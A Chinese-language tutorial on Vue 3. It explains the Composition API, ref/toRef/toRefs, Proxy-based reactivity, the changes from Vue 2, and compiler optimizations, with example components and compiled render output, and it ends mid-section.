- 更好的逻辑复用
- 更好的类型推导
- Composition API和Options API如何选择
- 不建议共用,会引起混乱
- 小型项目、业务逻辑简单,用
Option API
成本更小一些 - 中大型项目、逻辑复杂,用
Composition API
ref如何使用
ref
- 生成值类型的响应式数据
- 可用于模板和
reactive
- 通过
.value
修改值
<template>
<p>ref demo {{ageRef}} {{state.name}}</p>
</template>
<script>
import { ref, reactive } from 'vue'
export default {
name: 'Ref',
setup() {
const ageRef = ref(20) // 值类型 响应式
const nameRef = ref('test')
const state = reactive({
name: nameRef
})
setTimeout(() => {
console.log('ageRef', ageRef.value)
ageRef.value = 25 // .value 修改值
nameRef.value = 'testA'
}, 1500);
return {
ageRef,
state
}
}
}
</script>
<!-- ref获取dom节点 -->
<template>
<p ref="elemRef">我是一行文字</p>
</template>
<script>
import { ref, onMounted } from 'vue'
export default {
name: 'RefTemplate',
setup() {
const elemRef = ref(null)
onMounted(() => {
console.log('ref template', elemRef.value.innerHTML, elemRef.value)
})
return {
elemRef
}
}
}
</script>
toRef和toRefs如何使用和最佳方式
toRef
- 针对一个响应式对象(
reactive
封装的)的一个属性,创建一个ref
,具有响应式 - 两者保持引用关系
toRefs
- 将响应式对象(
reactive
封装的)转化为普通对象 - 对象的每个属性都是对象的
ref
- 两者保持引用关系
合成函数返回响应式对象
最佳使用方式
- 用
reactive
做对象的响应式,用ref
做值类型响应式(基本类型) setup
中返回toRefs(state)
,或者toRef(state, 'prop')
ref
的变量命名都用xxRef
- 合成函数返回响应式对象时,使用
toRefs
,有助于使用方对数据进行解构时,不丢失响应式
<template>
<p>toRef demo - {{ageRef}} - {{state.name}} {{state.age}}</p>
</template>
<script>
import { ref, toRef, reactive } from 'vue'
export default {
name: 'ToRef',
setup() {
const state = reactive({
age: 20,
name: 'test'
})
const age1 = computed(() => {
return state.age + 1
})
// toRef 如果用于普通对象(非响应式对象),产出的结果不具备响应式
// const state = {
// age: 20,
// name: 'test'
// }
// 一个响应式对象state其中一个属性要单独拿出来实现响应式用toRef
const ageRef = toRef(state, 'age')
setTimeout(() => {
state.age = 25
}, 1500)
setTimeout(() => {
ageRef.value = 30 // .value 修改值
}, 3000)
return {
state,
ageRef
}
}
}
</script>
<template>
<p>toRefs demo {{age}} {{name}}</p>
</template>
<script>
import { ref, toRef, toRefs, reactive } from 'vue'
export default {
name: 'ToRefs',
setup() {
const state = reactive({
age: 20,
name: 'test'
})
const stateAsRefs = toRefs(state) // 将响应式对象,变成普通对象
// const { age: ageRef, name: nameRef } = stateAsRefs // 每个属性,都是 ref 对象
// return {
// ageRef,
// nameRef
// }
setTimeout(() => {
state.age = 25
}, 1500)
return stateAsRefs
}
}
</script>
深入理解为什么需要ref、toRef、toRefs
为什么需要用 ref
- 返回值类型,会丢失响应式
- 如在
setup
、computed
、合成函数,都有可能返回值类型 Vue
如不定义ref
,用户将制造ref
,反而更混乱
为何ref需要.value属性
ref
是一个对象(不丢失响应式),value
存储值- 通过
.value
属性的get
和set
实现响应式 - 用于模板、
reactive
时,不需要.value
,其他情况都要
为什么需要toRef和toRefs
- 初衷 :不丢失响应式的情况下,把对象数据
分解/扩散
- 前端 :针对的是响应式对象(
reactive
封装的)非普通对象 - 注意:不创造 响应式,而是延续 响应式
<template>
<p>why ref demo {{state.age}} - {{age1}}</p>
</template>
<script>
import { ref, toRef, toRefs, reactive, computed } from 'vue'
function useFeatureX() {
const state = reactive({
x: 1,
y: 2
})
return toRefs(state)
}
export default {
name: 'WhyRef',
setup() {
// 解构不丢失响应式
const { x, y } = useFeatureX()
const state = reactive({
age: 20,
name: 'test'
})
// computed 返回的是一个类似于 ref 的对象,也有 .value
const age1 = computed(() => {
return state.age + 1
})
setTimeout(() => {
state.age = 25
}, 1500)
return {
state,
age1,
x,
y
}
}
}
</script>
vue3升级了哪些重要功能
1. createApp
// vue2
const app = new Vue({/**选项**/})
Vue.use(/****/)
Vue.mixin(/****/)
Vue.component(/****/)
Vue.directive(/****/)
// vue3
const app = createApp({/**选项**/})
app.use(/****/)
app.mixin(/****/)
app.component(/****/)
app.directive(/****/)
2. emits属性
// 父组件
<Hello :msg="msg" @onSayHello="sayHello">
// 子组件
export default {
name: 'Hello',
props: {
msg: String
},
emits: ['onSayHello'], // 声明emits
setup(props, {emit}) {
emit('onSayHello', 'aaa')
}
}
3. 多事件
<!-- 定义多个事件 -->
<button @click="one($event),two($event)">提交</button>
4. Fragment
<!-- vue2 -->
<template>
<div>
<h2>{{title}}</h2>
<p>test</p>
</div>
</template>
<!-- vue3:不在使用div节点包裹 -->
<template>
<h2>{{title}}</h2>
<p>test</p>
</template>
5. 移除.sync
<!-- vue2 -->
<MyComponent :title.sync="title" />
<!-- vue3 简写 -->
<MyComponent v-model:title="title" />
<!-- 非简写 -->
<MyComponent :title="title" @update:title="title = $event" />
.sync用法
父组件把属性给子组件,子组件修改了后还能同步到父组件中来
<template>
<button @click="close">关闭</button>
</template>
<script>
export default {
props: {
isVisible: {
type: Boolean,
default: false
}
},
methods: {
close () {
this.$emit('update:isVisible', false);
}
}
};
</script>
<!-- 父组件使用 -->
<chlid-component :isVisible.sync="isVisible"></chlid-component>
<text-doc :title="doc.title" @update:title="doc.title = $event"></text-doc>
<!-- 为了方便期间,为这种模式提供一个简写 .sync -->
<text-doc :title.sync="doc.title" />
6. 异步组件的写法
// vue2写法
new Vue({
components: {
'my-component': ()=>import('./my-component.vue')
}
})
// vue3写法
import {createApp, defineAsyncComponent} from 'vue'
export default {
components: {
AsyncComponent: defineAsyncComponent(()=>import('./AsyncComponent.vue'))
}
}
7. 移除filter
<!-- 以下filter在vue3中不可用了 -->
<!-- 在花括号中 -->
{message | capitalize}
<!-- 在v-bind中 -->
<div v-bind:id="rawId | formatId"></div>
8. Teleport
<button @click="modalOpen = true">
open
</button>
<!-- 通过teleport把弹窗放到body下 -->
<teleport to="body">
<div v-if="modalOpen" classs="modal">
<div>
teleport弹窗,父元素是body
<button @click="modalOpen = false">close</button>
</div>
</div>
</teleport>
9. Suspense
<Suspense>
<template>
<!-- 异步组件 -->
<Test1 />
</template>
<!-- fallback是一个具名插槽,即Suspense内部有两个slot,一个具名插槽fallback -->
<template #fallback>
loading...
</template>
</Suspense>
10. Composition API
reactive
ref
readonly
watch
和watchEffect
setup
- 生命周期钩子函数
Composition API 如何实现逻辑复用
- 抽离逻辑代码到一个函数
- 函数命名约定为
useXx
格式(React Hooks
也是) - 在
setup
中引用useXx
函数
<template>
<p>mouse position {{x}} {{y}}</p>
</template>
<script>
import { reactive } from 'vue'
import useMousePosition from './useMousePosition'
// import useMousePosition2 from './useMousePosition'
export default {
name: 'MousePosition',
setup() {
const { x, y } = useMousePosition()
return {
x,
y
}
// const state = useMousePosition2()
// return {
// state
// }
}
}
</script>
import { reactive, ref, onMounted, onUnmounted } from 'vue'
function useMousePosition() {
const x = ref(0)
const y = ref(0)
function update(e) {
x.value = e.pageX
y.value = e.pageY
}
onMounted(() => {
console.log('useMousePosition mounted')
window.addEventListener('mousemove', update)
})
onUnmounted(() => {
console.log('useMousePosition unMounted')
window.removeEventListener('mousemove', update)
})
// 合成函数尽量返回ref或toRefs(state) state = reactive({})
// 这样在使用的时候可以解构但不丢失响应式
return {
x,
y
}
}
// function useMousePosition2() {
// const state = reactive({
// x: 0,
// y: 0
// })
// function update(e) {
// state.x = e.pageX
// state.y = e.pageY
// }
// onMounted(() => {
// console.log('useMousePosition mounted')
// window.addEventListener('mousemove', update)
// })
// onUnmounted(() => {
// console.log('useMousePosition unMounted')
// window.removeEventListener('mousemove', update)
// })
// return state
// }
export default useMousePosition
// export default useMousePosition2
Vue3如何实现响应式
- 回顾
vue2
的Object.defineProperty
- 缺点
- 深度监听对象需要一次性递归
- 无法监听新增属性、删除属性(
Vue.set
、Vue.delete
) - 无法监听原生数组,需要特殊处理
- 学习
proxy
语法 Vue3
中如何使用proxy
实现响应式
Proxy 基本使用
// const data = {
// name: 'zhangsan',
// age: 20,
// }
const data = ['a', 'b', 'c']
const proxyData = new Proxy(data, {
get(target, key, receiver) {
// 只处理本身(非原型的)属性
const ownKeys = Reflect.ownKeys(target)
if (ownKeys.includes(key)) {
console.log('get', key) // 监听
}
const result = Reflect.get(target, key, receiver)
return result // 返回结果
},
set(target, key, val, receiver) {
// 重复的数据,不处理
if (val === target[key]) {
return true
}
const result = Reflect.set(target, key, val, receiver)
console.log('set', key, val)
// console.log('result', result) // true
return result // 是否设置成功
},
deleteProperty(target, key) {
const result = Reflect.deleteProperty(target, key)
console.log('delete property', key)
// console.log('result', result) // true
return result // 是否删除成功
}
})
vue3用Proxy 实现响应式
- 深度监听,性能更好(获取到哪一层才触发响应式
get
,不是一次性递归) - 可监听
新增/删除
属性 - 可监听数组变化
// 创建响应式
function reactive(target = {}) {
if (typeof target !== 'object' || target == null) {
// 不是对象或数组,则返回
return target
}
// 代理配置
const proxyConf = {
get(target, key, receiver) {
// 只处理本身(非原型的)属性
const ownKeys = Reflect.ownKeys(target)
if (ownKeys.includes(key)) {
console.log('get', key) // 监听
}
const result = Reflect.get(target, key, receiver)
// 深度监听
// 性能如何提升的?获取到哪一层才触发响应式get,不是一次性递归
return reactive(result)
},
set(target, key, val, receiver) {
// 重复的数据,不处理
if (val === target[key]) {
return true
}
const ownKeys = Reflect.ownKeys(target)
if (ownKeys.includes(key)) {
console.log('已有的 key', key)
} else {
console.log('新增的 key', key)
}
const result = Reflect.set(target, key, val, receiver)
console.log('set', key, val)
// console.log('result', result) // true
return result // 是否设置成功
},
deleteProperty(target, key) {
const result = Reflect.deleteProperty(target, key)
console.log('delete property', key)
// console.log('result', result) // true
return result // 是否删除成功
}
}
// 生成代理对象
const observed = new Proxy(target, proxyConf)
return observed
}
// 测试数据
const data = {
name: 'zhangsan',
age: 20,
info: {
city: 'shenshen',
a: {
b: {
c: {
d: {
e: 100
}
}
}
}
}
}
const proxyData = reactive(data)
v-model参数的用法
<!-- UserInfo组件 -->
<template>
<input :value="name" @input="$emit('update:name', $event.target.value)"/>
<input :value="age" @input="$emit('update:age', $event.target.value)"/>
</template>
<script>
export default {
name: 'UserInfo',
props: {
name: String,
age: String
}
}
</script>
<!-- 使用 -->
<user-info
v-model:name="name"
v-model:age="age"
></user-info>
watch和watchEffect的区别
- 两者都可以监听
data
属性变化 watch
需要明确监听哪个属性watchEffect
会根据其中的属性,自动监听其变化
<template>
<p>watch vs watchEffect</p>
<p>{{numberRef}}</p>
<p>{{name}} {{age}}</p>
</template>
<script>
import { reactive, ref, toRefs, watch, watchEffect } from 'vue'
export default {
name: 'Watch',
setup() {
const numberRef = ref(100)
const state = reactive({
name: 'test',
age: 20
})
watchEffect(() => {
// 初始化时,一定会执行一次(收集要监听的数据)
console.log('hello watchEffect')
})
watchEffect(() => {
console.log('state.name', state.name)
})
watchEffect(() => {
console.log('state.age', state.age)
})
watchEffect(() => {
console.log('state.age', state.age)
console.log('state.name', state.name)
})
setTimeout(() => {
state.age = 25
}, 1500)
setTimeout(() => {
state.name = 'testA'
}, 3000)
// ref直接写
// watch(numberRef, (newNumber, oldNumber) => {
// console.log('ref watch', newNumber, oldNumber)
// }
// // , {
// // immediate: true // 初始化之前就监听,可选
// // }
// )
// setTimeout(() => {
// numberRef.value = 200
// }, 1500)
// watch(
// // 第一个参数,确定要监听哪个属性
// () => state.age,
// // 第二个参数,回调函数
// (newAge, oldAge) => {
// console.log('state watch', newAge, oldAge)
// },
// // 第三个参数,配置项
// {
// immediate: true, // 初始化之前就监听,可选
// // deep: true // 深度监听
// }
// )
// setTimeout(() => {
// state.age = 25
// }, 1500)
// setTimeout(() => {
// state.name = 'PoetryA'
// }, 3000)
return {
numberRef,
...toRefs(state)
}
}
}
</script>
setup中如何获取组件实例
- 在
setup
和其他composition API
中没有this
- 通过
getCurrentInstance
获取当前实例 - 若使用
options API
可以照常使用this
import { onMounted, getCurrentInstance } from 'vue'
export default {
name: 'GetInstance',
data() {
return {
x: 1,
y: 2
}
},
setup() { // setup是beforeCreate created合集 组件还没正式初始化
console.log('this1', this) // undefined
onMounted(() => {
console.log('this in onMounted', this) // undefined
console.log('x', instance.data.x) // 1 onMounted中组件已经初始化了
})
const instance = getCurrentInstance()
console.log('instance', instance)
},
mounted() {
console.log('this2', this)
console.log('y', this.y)
}
}
Vue3为何比Vue2快
proxy
响应式:深度监听,性能更好(获取到哪一层才触发响应式get
,不是一次性递归)PatchFlag
动态节点做标志HoistStatic
将静态节点的定义,提升到父作用域,缓存起来。多个相邻的静态节点,会被合并起来CacheHandler
事件缓存SSR
优化: 静态节点不走vdom
逻辑,直接输出字符串,动态节点才走Tree-shaking
根据模板的内容动态import
不同的内容,不需要就不import
什么是PatchFlag
- 模板编译时,动态节点做标记
- 标记,分为不同类型,如
Text
、PROPS
、CLASS
diff
算法时,可区分静态节点,以及不同类型的动态节点
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果 -->
<div>
<span>hello vue3</span>
<span>{{msg}}</span>
<span :class="name">poetry</span>
<span :id="name">poetry</span>
<span :id="name">{{msg}}</span>
<span :id="name" :msg="msg">poetry</span>
</div>
// 编译后结果
import { createElementVNode as _createElementVNode, toDisplayString as _toDisplayString, normalizeClass as _normalizeClass, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"
export function render(_ctx, _cache, $props, $setup, $data, $options) {
return (_openBlock(), _createElementBlock("div", null, [
_createElementVNode("span", null, "hello vue3"),
_createElementVNode("span", null, _toDisplayString(_ctx.msg), 1 /* TEXT */), // 文本标记1
_createElementVNode("span", {
class: _normalizeClass(_ctx.name)
}, "poetry", 2 /* CLASS */), // class标记2
_createElementVNode("span", { id: _ctx.name }, "poetry", 8 /* PROPS */, ["id"]), // 属性props标记8
_createElementVNode("span", { id: _ctx.name }, _toDisplayString(_ctx.msg), 9 /* TEXT, PROPS */, ["id"]), // 文本和属性组合标记9
_createElementVNode("span", {
id: _ctx.name,
msg: _ctx.msg
}, "poetry", 8 /* PROPS */, ["id", "msg"]) // 属性组合标记
]))
}
什么是HoistStatic和CacheHandler
HoistStatic
- 将静态节点的定义,提升到父作用域,缓存起来
- 多个相邻的静态节点,会被合并起来
- 典型的拿空间换时间的优化策略
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启hoistStatic -->
<div>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>{{msg}}</span>
</div>
// 编译结果
import { createElementVNode as _createElementVNode, toDisplayString as _toDisplayString, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"
// 之后函数怎么执行,这些变量都不会被重复定义一遍
const _hoisted_1 = /*#__PURE__*/_createElementVNode("span", null, "hello vue3", -1 /* HOISTED */)
const _hoisted_2 = /*#__PURE__*/_createElementVNode("span", null, "hello vue3", -1 /* HOISTED */)
const _hoisted_3 = /*#__PURE__*/_createElementVNode("span", null, "hello vue3", -1 /* HOISTED */)
export function render(_ctx, _cache, $props, $setup, $data, $options) {
return (_openBlock(), _createElementBlock("div", null, [
_hoisted_1,
_hoisted_2,
_hoisted_3,
_createElementVNode("span", null, _toDisplayString(_ctx.msg), 1 /* TEXT */)
]))
}
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启hoistStatic -->
<!-- 当相同的节点达到一定阈值后会被vue3合并起来 -->
<div>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>{{msg}}</span>
</div>
// 编译之后
import { createElementVNode as _createElementVNode, toDisplayString as _toDisplayString, createStaticVNode as _createStaticVNode, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"
// 多个相邻的静态节点,会被合并起来
const _hoisted_1 = /*#__PURE__*/_createStaticVNode("<span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span>", 10)
export function render(_ctx, _cache, $props, $setup, $data, $options) {
return (_openBlock(), _createElementBlock("div", null, [
_hoisted_1,
_createElementVNode("span", null, _toDisplayString(_ctx.msg), 1 /* TEXT */)
]))
}
CacheHandler 缓存事件
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启cacheHandler -->
<div>
<span @click="clickHandler">hello vue3</span>
</div>
// 编译之后
import { createElementVNode as _createElementVNode, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"
export function render(_ctx, _cache, $props, $setup, $data, $options) {
return (_openBlock(), _createElementBlock("div", null, [
_createElementVNode("span", {
onClick: _cache[0] || (_cache[0] = (...args) => (_ctx.clickHandler && _ctx.clickHandler(...args)))
}, "hello vue3")
]))
}
SSR和Tree-shaking的优化
SSR优化
- 静态节点直接输出,绕过了
vdom
- 动态节点,还是需要动态渲染
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启ssr -->
<div>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>{{msgs}}</span>
</div>
// 编译之后
import { mergeProps as _mergeProps } from "vue"
import { ssrRenderAttrs as _ssrRenderAttrs, ssrInterpolate as _ssrInterpolate } from "vue/server-renderer"
export function ssrRender(_ctx, _push, _parent, _attrs, $props, $setup, $data, $options) {
const _cssVars = { style: { color: _ctx.color }}
_push(`<div${
_ssrRenderAttrs(_mergeProps(_attrs, _cssVars))
}><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>${ // 静态节点直接输出
_ssrInterpolate(_ctx.msgs)
}</span></div>`)
}
Tree Shaking优化
编译时,根据不同的情况,引入不同的
API
,不会全部引用
<!-- https://vue-next-template-explorer.netlify.app